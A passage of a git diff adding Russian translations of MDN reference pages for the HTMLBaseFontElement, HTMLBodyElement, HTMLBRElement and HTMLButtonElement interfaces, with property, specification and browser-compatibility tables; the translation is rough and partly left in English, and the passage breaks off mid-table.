+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("base") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html
new file mode 100644
index 0000000000..6d5d0ce86b
--- /dev/null
+++ b/files/ru/web/api/htmlbasefontelement/index.html
@@ -0,0 +1,105 @@
+---
+title: HTMLBaseFontElement
+slug: Web/API/HTMLBaseFontElement
+translation_of: Web/API/HTMLBaseFontElement
+---
+<p>{{APIRef("HTML DOM")}} {{obsolete_header}}</p>
+
+<p><strong><code>HTMLBaseFontElement</code></strong>интерфейс предоставляющий специальные свойства (помимо тех постоянных объектов  {{domxref("HTMLElement")}} интерфейса, доступных ему также по наследству) для манипулирования {{HTMLElement("basefont")}} элементами.</p>
+
+<p><code>элемент &lt;basefont&gt;</code> устарел HTML4 и удален в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt><code>HTMLBaseFontElement.color</code></dt>
+ <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованый цвет или цвет определенный в шестнадцатиричном формате <code>#RRGGBB</code>.</dd>
+ <dt><code>HTMLBaseFontElement.face</code></dt>
+ <dd>Это {{domxref("DOMString")}} представляющий список из одного или более имени шрифтов. Текст документа отображается в стиле по умолчанию, первым поддерживаемым клиентским браузером шрифтом. Если нет установленного шрифта на локальной системе, браузер обычно по умочанию, устанавливает пропорциональный или фиксированной ширины шрифт для этой системы.</dd>
+ <dt><code>HTMLBaseFontElement.size</code></dt>
+ <dd>{{domxref("DOMString")}} предоставляет размер шрифта или как числовое значение или как относительное значение. Числовые значения в диапозоне от 1 до 7, где 1 самое маленькое значение и три значение по умолчанию. Относительное значение начинается с '+' или '-'<code>.</code></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Удалено.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', "level-one-html.html#ID-32774408", "HTMLBaseFontElement")}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент {{HTMLElement("basefont")}}осуществляющий этот интерфейс.</li>
+</ul>
diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html
new file mode 100644
index 0000000000..6fdca0b453
--- /dev/null
+++ b/files/ru/web/api/htmlbodyelement/index.html
@@ -0,0 +1,194 @@
+---
+title: HTMLBodyElement
+slug: Web/API/HTMLBodyElement
+translation_of: Web/API/HTMLBodyElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>HTMLBodyElement</code></strong> интерфейс предоставляющий специальные свойства (помимо этого, они постоянно наследуют {{ domxref("HTMLElement") }} интерфейс) для манипуляции элементами тела.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства о его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLBodyElement.aLink")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет цвет активных гиперссылок.</dd>
+ <dt>{{domxref("HTMLBodyElement.background")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой описание расположения фонового изображения ресурса. Обратите внимание, что это не URI, хотя в некоторых старых версиях некоторых браузеров ожидается именно это.</dd>
+ <dt>{{domxref("HTMLBodyElement.bgColor")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет фона для документа.</dd>
+ <dt>{{domxref("HTMLBodyElement.link")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет непосещенных ссылок.</dd>
+ <dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой основной цвет текста.</dd>
+ <dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt>
+ <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещенных ссылок.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Не имеет специфичных методов; наследует методы от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<h2 id="Обработчики_событий">Обработчики событий</h2>
+
+<p><em>Не имеет специфичных обработчиков событий; наследует обработчики событий от его родителя, {{domxref("HTMLElement")}} и от {{domxref("WindowEventHandlers")}}</em><em>.</em></p>
+
+<dl>
+ <dt>{{domxref("WindowEventHandlers.onafterprint")}}</dt>
+ <dd>Это {{domxref("EventHandler")}} представляющий собой код который будет вызван когда {{event("afterprint")}} событие будет вызвано.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeprint")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("beforeprint")}} вызвано.</dd>
+ <dt>{{domxref("WindowEventHandlers.onbeforeunload")}}</dt>
+ <dd>Это {{domxref("EventHandler")}} представляющее собой код который будет вызван когда событие {{event("beforeunload")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onhashchange")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("hashchange")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onlanguagechange")}} {{experimental_inline}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("languagechange")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onmessage")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("message")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onoffline")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("offline")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.ononline")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("online")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpagehide")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pagehide")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpageshow")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("pageshow")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onpopstate")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("popstate")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onresize")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("resize")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onstorage")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("storage")}} вызванно.</dd>
+ <dt>{{domxref("WindowEventHandlers.onunload")}}</dt>
+ <dd>Это {{domxref("EventHandler")}}  представляющее собой код который будет вызван когда событие {{event("unload")}} вызванно.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Технически, событийно связанные свойства, <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onlanguagechange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, <code>onstorage</code>, и <code>onunload</code>, были перемещены в {{domxref("WindowEventHandlers")}}, и <code>HTMLBodyElement</code> реализует этот интерфейс.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "sections.html#the-body-element", "HTMLBodyElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Следующие свойства в настоящее время устарели: <code>aLink</code>, <code>bgColor</code>, <code>background</code>, <code>link</code>, <code>text</code>, and <code>vLink</code>.<br>
+    Следующие свойства были добавлены: <code>onafterprint</code>, <code>onbeforeprint</code>, <code>onbeforeunload</code>, <code>onblur</code>, <code>onerror</code>, <code>onfocus</code>, <code>onhashchange</code>, <code>onload</code>, <code>onmessage</code>, <code>onoffline</code>, <code>ononline</code>, <code>onpopstate</code>, <code>onresize</code>, <code>onstorage</code>, and <code>onunload</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>не измелось с  {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-62018039', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}} [1]</td>
+   <td>4.0</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> обработчики событий</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlanguage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onXYZ</code> обработчики событий</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>onlangugage</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile(32)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Firefox до версии Firefox 7.0 и некоторые старые версии Opera возвращают URI для атрибута <code>HTMLBodyElement.background</code>.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{ HTMLElement("body") }}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbrelement/index.html b/files/ru/web/api/htmlbrelement/index.html
new file mode 100644
index 0000000000..a8f4efad48
--- /dev/null
+++ b/files/ru/web/api/htmlbrelement/index.html
@@ -0,0 +1,125 @@
+---
+title: HTMLBRElement
+slug: Web/API/HTMLBRElement
+translation_of: Web/API/HTMLBRElement
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p><strong><code>HTMLBRElement</code></strong> интерфейс представляющий HTML элемент линии разрыва ({{htmlelement("br")}}). Это унаследовано от {{domxref("HTMLElement")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>clear</code> {{obsolete_inline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Отображает поток текста, вокруг обтекаемого объекта.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Нет специфичных методов; </em><em>наследует методы от его родителя, {{domxref("HTMLElement")}}</em>.</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Не изменилась с {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-br-element", "HTMLBRElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Не изменилась с {{SpecName("DOM2 HTML")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>Не изменилась с  {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-56836063', 'HTMLBodyElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Изначальное описание.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>HTML элемент реализующий этот интерфейс: {{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html
new file mode 100644
index 0000000000..8e9999b2ff
--- /dev/null
+++ b/files/ru/web/api/htmlbuttonelement/index.html
@@ -0,0 +1,308 @@
+---
+title: HTMLButtonElement
+slug: Web/API/HTMLButtonElement
+translation_of: Web/API/HTMLButtonElement
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Интерфейс HTMLButtonElement предоставляет свойства и методы для управления элементами {{HTMLElement("button")}} (помимо обычного интерфейса {{domxref("HTMLElement")}}, он также доступен - по наследованию) .</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>accessKey</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Определенная кнопка клавиатуры, дающая доступ к кнопке.</td>
+  </tr>
+  <tr>
+   <td><code>autofocus</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Управление должно получить фокус ввода при загрузки страницы, пока пользователь не отменяет его, например, набирая на клавиатуре в другом контроле. Только один формо-ассоциированный элемент в документе может иметь указанный атрибут.</td>
+  </tr>
+  <tr>
+   <td><code>disabled</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Контроль выключен, что означает, он не принимает любых кликов.</td>
+  </tr>
+  <tr>
+   <td><code>form</code> {{readonlyInline}}</td>
+   <td>{{domxref("HTMLFormElement")}}</td>
+   <td>Форма этой кнопки связана с ней. Если кнопка потомок элемента формы, то этот атрибут ID этого элемента формы.<br>
+    Если форма не связана с формой элемента, то атрибут может быть ID любой формы элемента в том же документе<code>, или значение null</code> если нет совпадений.</td>
+  </tr>
+  <tr>
+   <td><code>formAction</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>URI ресурса, обрабатывающего информацию, отправленную кнопкой. Если задан, то переопределяет {{htmlattrxref("action", "form")}} атрибут {{HTMLElement("form")}} элемента, который является его владельцем.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formEncType</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>Тип содержимого, используемый для отправки формы на серевер. Если указан этот атрибут, то он переопределяет {{htmlattrxref("enctype", "form")}} атрибут элемента {{HTMLElement("form")}}, который является владельцем этого элемента.</td>
+  </tr>
+  <tr>
+   <td><code>formMethod</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>HTTP метод, который браузер использует для отправки формы. Если задан, тогда он  переопределяет {{htmlattrxref("method", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formNoValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>
+    <p>Показывает что форма не будет проверена при отправке. Если задано, тогда переопределяет {{htmlattrxref("novalidate", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>formTarget</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Имя или ключевое слово, указывающее, где должен отображаться ответ, полученный после отправки формы. Если задано, тогда  переопределяет {{htmlattrxref("target", "form")}} атрибут {{HTMLElement("form")}} своего владельца.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>labels</code> {{readonlyInline}}</td>
+   <td>{{domxref("NodeList")}}</td>
+   <td>Список элементов {{HTMLElement("label")}}, которые являются метками для этой кнопки.</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> {{experimental_inline}}</td>
+   <td>{{domxref("HTMLMenuElement")}}</td>
+   <td>Элемент меню, который будет отображаться, если кнопка нажата и имеет тип <code>type="menu"</code>.</td>
+  </tr>
+  <tr>
+   <td><code>name</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Имя объекта отправляемое с формой. {{HTMLVersionInline(5)}}Если задано, не должно быть пустой строкой.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>tabIndex</code></td>
+   <td>long</td>
+   <td>
+    <p>Номер, представляющий последовательность перехода между полями при нажатии на Tab</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>Указывает поведение кнопки. Это перечисляемый атрибут со следующими возможными значениями:</p>
+
+    <ul>
+     <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определен, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li>
+     <li><code>"reset"</code>: Кнопка сброса формы.</li>
+     <li><code>"button"</code>: Кнопка с неопределенным действием.</li>
+     <li><code>"menu"</code>:  Кнопка показывающая меню (экспериментальная). {{experimental_inline}}</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validationMessage</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>
+    <p>A localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (<code>willValidate</code> is <code>false</code>), or it satisfies its constraints.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>validity</code> {{readonlyInline}}</td>
+   <td>{{domxref("ValidityState")}}</td>
+   <td>The validity states that this button is in.</td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The current form control value of the button.</td>
+  </tr>
+  <tr>
+   <td><code>willValidate</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Indicates whether the button is a candidate for constraint validation. It is <code>false</code> if any conditions bar it from constraint validation.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Наследует свойства от его родителя, {{domxref("HTMLElement")}}.</em></p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Name</th>
+   <th scope="col">Return Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>checkValidity()</code></td>
+   <td>{{domxref("Boolean")}}</td>
+   <td>Not supported for button elements.</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity(in DOMString error)</code></td>
+   <td><code>void</code></td>
+   <td>Not supported for button elements.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>WIth Gecko-based browser, use the {{cssxref(":-moz-submit-invalid")}} pseudo-class to style submit buttons based on the validation of a form.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following attribute has been added: <code>menu</code>.<br>
+    The <code>type</code> attribute can take one more value, <code>"menu"</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "text-level-semantics.html#the-a-element", "HTMLAnchorElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The attributes <code>tabindex</code> and <code>accesskey</code>, are now defined on {{domxref("HTMLElement")}}.<br>
+    The following attributes have been added: <code>autofocus</code>, <code>formAction</code>, <code>formEncType</code>, <code>formMethod</code>, <code>formNoValidate</code>, <code>formTarget</code>, <code>labels</code>, <code>validity</code>, <code>validationMessage</code>, and <code>willValidate</code>.<br>
+    The following methods have been added: <code>checkValidity()</code>, <code>setCustomValidity()</code>.<br>
+    The <code>type</code> attribute is no more read-only.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>No change from {{SpecName("DOM1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-48250443', 'HTMLAnchorElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Form-related attributes</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}} {{unimplemented_inline(556743)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>menu</code> &amp; <code>type="menu"</code> {{experimental_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Form-related attributes</td>
+   <td>{{CompatVersionUnknown}}</td>
